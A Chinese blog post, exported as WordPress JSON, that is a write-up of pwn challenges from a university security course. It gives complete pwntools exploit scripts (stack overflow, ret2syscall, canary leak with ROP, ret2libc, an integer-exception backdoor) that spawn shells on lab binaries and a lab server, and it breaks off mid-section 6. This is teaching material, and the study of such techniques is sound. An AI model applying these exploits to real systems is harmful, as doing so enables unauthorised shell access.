{"id":405,"date":"2024-12-13T20:39:37","date_gmt":"2024-12-13T12:39:37","guid":{"rendered":"http:\/\/8.141.27.105\/?p=405"},"modified":"2024-12-13T20:49:25","modified_gmt":"2024-12-13T12:49:25","slug":"%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/","title":{"rendered":"\u67d0\u6821\u7f51\u5b89\u5b9e\u8df5(\u4e09)|PWN"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#1\" title=\"1\">1<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#2\" title=\"2\">2<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#3%EF%BC%88%E6%B3%84%E9%9C%B2canary%EF%BC%89\" title=\"3\uff08\u6cc4\u9732canary\uff09\">3\uff08\u6cc4\u9732canary\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#4\" title=\"4\">4<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#5\" title=\"5\">5<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#6_%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2\" title=\"6 \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\">6 \u683c\u5f0f\u5316\u5b57\u7b26\u4e32<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#7%E7%BA%AF%E5%AD%97%E7%AC%A6%E6%95%B0%E5%AD%97shellcode\" title=\"7(\u7eaf\u5b57\u7b26\u6570\u5b57shellcode)\">7(\u7eaf\u5b57\u7b26\u6570\u5b57shellcode)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/13\/%e6%9f%90%e6%a0%a1%e7%bd%91%e5%ae%89%e5%ae%9e%e8%b7%b5%e4%b8%89pwnwp\/#8unsorted_bin_leak%EF%BC%8C%E5%88%A9%E7%94%A8UAF%E6%89%93tcache_bin_attack%EF%BC%8C%E5%8A%AB%E6%8C%81malloc_hook%E4%B8%BAone_gadget\" title=\"8(unsorted bin leak\uff0c\u5229\u7528UAF\u6253tcache bin attack\uff0c\u52ab\u6301malloc_hook\u4e3aone_gadget)\">8(unsorted bin leak\uff0c\u5229\u7528UAF\u6253tcache bin attack\uff0c\u52ab\u6301malloc_hook\u4e3aone_gadget)<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1\"><\/span>1<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u7b80\u5355\u7684\u6808\u6ea2\u51fa\u8986\u76d6\u53d8\u91cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\nfrom LibcSearcher import*\n#\u8fde\u63a5\u8fdc\u7a0b\ncontext.log_level = 'debug'\n#p=remote(\"10.12.153.73:10084\",28165)\np=process(\"\/home\/monke\/vmcourse_pwn\/1\/pwn.bin\")\np.sendlineafter(\"name:\",b\"123\")\npayload=cyclic(248)+p64(20150972)\np.sendlineafter(\"comment:\",payload)\np.interactive()\n\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2\"><\/span>2<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>ret2syscall<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n# Load the ELF file and execute it as a new process.\np=remote(\"10.12.153.73\",10298)\n#p = process(\"\/home\/monke\/vmcourse_pwn\/2\/pwn.bin\")\noffset=64+8\npop_rax =0x40117e\npop_rdi = 0x401180\npop_rdx =0x401183\npop_rsi_r15=0x401271\nbinsh = 0x404040\nsyscall=0x401185 \npayload = b'a'*offset\npayload += p64(pop_rax)+p64(0x3b)\npayload += p64(pop_rdi)+p64(binsh)\npayload += p64(pop_rsi_r15)+p64(0)+p64(0)\npayload += p64(pop_rdx)+p64(0)\npayload += p64(syscall)\np.sendlineafter('syscall?\\n',payload\np.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3%EF%BC%88%E6%B3%84%E9%9C%B2canary%EF%BC%89\"><\/span>3\uff08\u6cc4\u9732canary\uff09<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-32.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"615\" height=\"330\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-32.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-406\"  sizes=\"auto, (max-width: 615px) 100vw, 615px\" \/><\/div><\/figure>\n\n\n\n<p>\u7531\u4e0a\u56fe\u53ef\u4ee5\u770b\u51fa\uff0c\u7684\u786e\u5f00\u542f\u4e86canary\uff0ccanary\u7684\u503c\u662f8\u5b57\u8282\u7684v2\uff0c\u4e0e\u53d8\u91cfs\u76f8\u90bb\uff0c\u7b2c\u4e00\u4e2aread\u53ef\u4ee5\u8bfb\u53d648B\u8d4b\u503c\u7ed9s\uff0c\u4e5f\u5c31\u5b58\u5728\u6808\u6ea2\u51fa\uff0cs\u53ef\u4ee5\u6ea2\u51fa\u8986\u76d6\u5230v2\u3002<\/p>\n\n\n\n<p>\u5229\u7528printf\u4e0d\u9047\u5230\\x00\u4e0d\u7ec8\u6b62\u7684\u7279\u70b9\uff0c\u5982\u679c\u628av2(\u5373canary)\u7684\u6700\u4f4e\u5b57\u8282\\x00\u8986\u76d6\u4e86\uff0c\u5c31\u80fd\u5728\u6253\u5370s\u65f6\u5019\u628av2\u6253\u5370\u51fa\u6765\uff0c\u7136\u540e\u51cf\u53bb\u7528\u6765\u8986\u76d6\\x00\u7684\u90a3\u4e00\u5b57\u8282\u7684\u503c\uff0c\u5c31\u80fd\u5f97\u5230v2\u539f\u503c\uff0c\u4e5f\u5c31\u62ff\u5230\u4e86canary\u3002\u5728\u5c0f\u7aef\u5b58\u50a8\u4e2d\uff0c\\x00\u8fd9\u4e00\u5b57\u8282\u662f\u4e0es\u76f8\u90bb\u7684\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload1=b'a'*40\np.sendlineafter('B!!!\\n',payload1)\nsendline\u4f1a\u81ea\u52a8\u52a0\u4e0a\u56de\u8f66\uff0c\u4e5f\u5c31\u662f\u56de\u8f66\u4f1a\u8986\u76d6\u6389\\x00\uff0c\u56de\u8f66\\n\u7684\u503c\u662f0xa\u3002\np.recvuntil(b'a'*40)\ncanary=u64(p.recv(8))-0xa\n<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6837\u5c31\u62ff\u5230\u4e86canary\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u5e38\u89c4ROP\u4e86.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n# Load the ELF file and execute it as a new process.\n#p=remote(\"10.12.153.73\",10354)\np = process(\"\/home\/monke\/vmcourse_pwn\/3\/pwn.bin\")\nelf=ELF(\"\/home\/monke\/vmcourse_pwn\/3\/pwn.bin\")\npop_rdi = 0x4011de\nret=0x40101a\nbinsh = 0x404058\nsystem=0x4010b0\n#gdb.attach(p)\n#\u5229\u7528printf\u6ca1\u8bfb\u5230\\0\u4e0d\u622a\u65ad\u7684\u7279\u70b9\uff0c\u6cc4\u9732canary\npayload1=b'a'*40\np.sendlineafter('B!!!\\n',payload1)\np.recvuntil(b'a'*40)\ncanary=u64(p.recv(8))-0xa\n#print(hex(canary))\npayload = cyclic(40)+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(0x40127e)\np.send(payload)\n#gdb.attach(p)\np.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4\"><\/span>4<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u8fdb\u6765\u770b\u4e00\u773cmain\u51fd\u6570\u611f\u89c9\u6ca1\u5565\u6f0f\u6d1e<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-35.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"849\" height=\"504\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-35.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-409\"  sizes=\"auto, (max-width: 849px) 100vw, 849px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662f\u6709\u4e24\u4e2a\u540e\u95e8\u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"756\" height=\"123\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-408\"  sizes=\"auto, (max-width: 756px) 100vw, 756px\" \/><\/div><\/figure>\n\n\n\n<p>\u70b9\u8fdbinit\u521d\u59cb\u5316\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-36.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"567\" height=\"254\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-36.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-410\"  sizes=\"auto, (max-width: 567px) 100vw, 567px\" \/><\/div><\/figure>\n\n\n\n<p>\u6587\u5fc3\u89e3\u8bfb\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-38-1024x247.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"247\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-38-1024x247.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-412\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u60f3\u529e\u6cd5\u89e6\u53d1\u6d6e\u70b9\u6570\u5f02\u5e38\u5c31\u80fd\u8df3\u5230backdoor:<\/p>\n\n\n\n<p>a = 2147483648 b = -1<\/p>\n\n\n\n<p>\u6216 \uff1a a =-2147483648 b = -1<\/p>\n\n\n\n<p>\u90fd\u80fd\u89e6\u53d1,\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"465\" height=\"77\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-411\"  sizes=\"auto, (max-width: 465px) 100vw, 465px\" \/><\/div><\/figure>\n\n\n\n<p>\u89e6\u53d1\u540e\u8fdb\u5165backdoor\u51fd\u6570\uff0c\u7b80\u5355\u6808\u6ea2\u51fa\u5230getshell\u540e\u95e8\u51fd\u6570\u5c31\u884c:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"663\" height=\"278\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-413\"  sizes=\"auto, (max-width: 663px) 100vw, 663px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u8fd8\u5f97\u6ce8\u610f\u4e0bx64\u4e2d16\u5b57\u8282\u5bf9\u9f50\u7684\u95ee\u9898\uff0c\u6ea2\u51fa\u768488\u5b57\u8282\u4e0d\u591f\u5bf9\u9f5016\u5b57\u8282\uff0c\u6240\u4ee5\u8fd8\u5f97\u6765\u4e2aret\u8865\u4e00\u4e0b<\/p>\n\n\n\n<p>payload=cyclic(88)+p64(ret)+p64(elf.sym[&#8220;getshell&#8221;])<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b8c\u6574exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n\n# Load the ELF file and execute it as a new process.\n\n#p=remote()\n\np = process(\"\/home\/monke\/vmcourse_pwn\/4\/pwn.bin\")\n\nelf=ELF(\"\/home\/monke\/vmcourse_pwn\/4\/pwn.bin\")\n\nret=0x400646\n\np.sendlineafter('key :',b\"-2147483648\")\n\np.sendlineafter('key :',b\"-1\")\n\npayload=cyclic(88)+p64(ret)+p64(elf.sym&#91;\"getshell\"])\n\np.sendlineafter('Hero, please leave your name :\\n',payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"5\"><\/span>5<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u5e38\u89c4\u7684ret2libc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\np=remote(\"10.12.153.73\",10302)\n#p = process(\"\/home\/monke\/vmcourse_pwn\/5\/pwn.bin\")\nelf=ELF(\"\/home\/monke\/vmcourse_pwn\/5\/pwn.bin\")\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\nputs_plt=elf.plt&#91;\"puts\"]\nputs_got=elf.got&#91;\"puts\"]\nmain_addr=elf.sym&#91;\"main\"]\npop_rdi=0x40117e\nret=0x40101a\n\npayload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)\n\np.sendlineafter('Go!!!',payload)\nputs = u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\n\nprint(hex(puts))\n\nlibc=ELF(\"\/home\/monke\/vmcourse_pwn\/5\/libc.so.6\")\nlibcbase=puts-libc.sym&#91;'puts']\nsystem=libcbase+libc.sym&#91;'system']\nbinsh = libcbase + next(libc.search(b\"\/bin\/sh\"))\n#libc=LibcSearcher(\"puts\",puts)\n#libcbase=puts-libc.dump('puts')\n#system=libcbase+libc.dump('system')\n#binsh=libcbase+libc.dump('str_bin_sh')\nprint(hex(system))\nprint(hex(binsh))\n\npayload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)\np.sendlineafter('Go!!!',payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"6_%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2\"><\/span>6 \u683c\u5f0f\u5316\u5b57\u7b26\u4e32<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-43.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"657\" height=\"806\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-43.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-417\"  sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><\/div><\/figure>\n\n\n\n<p>\u60c5\u666f\u662f\u653b\u51fb\u4e00\u6761\u9f99\uff0cchendian\u53ef\u4ee5\u52a0\u8840\uff0cattack\u53ef\u4ee5\u653b\u51fb\uff0c\u4f46\u662f\u6ca1\u6253\u8fc7\u5c31\u9000\u51fa\u7a0b\u5e8f\u4e86\uff0c\u5206\u6790\u6e90\u7801\u53d1\u73b0\u6253\u8d62\u4e86\u4e5f\u65e0\u4e8b\u53d1\u751f\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-45.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"738\" height=\"560\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-45.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-419\"  sizes=\"auto, (max-width: 738px) 100vw, 738px\" \/><\/div><\/figure>\n\n\n\n<p>\u5173\u952e\u51fd\u6570\u662ftalk\u51fd\u6570\uff0c\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-42.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"693\" height=\"381\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-42.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-416\"  sizes=\"auto, (max-width: 693px) 100vw, 693px\" \/><\/div><\/figure>\n\n\n\n<p>\u5e76\u4e14\u53d1\u73b0\u4e86\u540e\u95e8\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-49-1024x759.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"759\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-49-1024x759.png\" 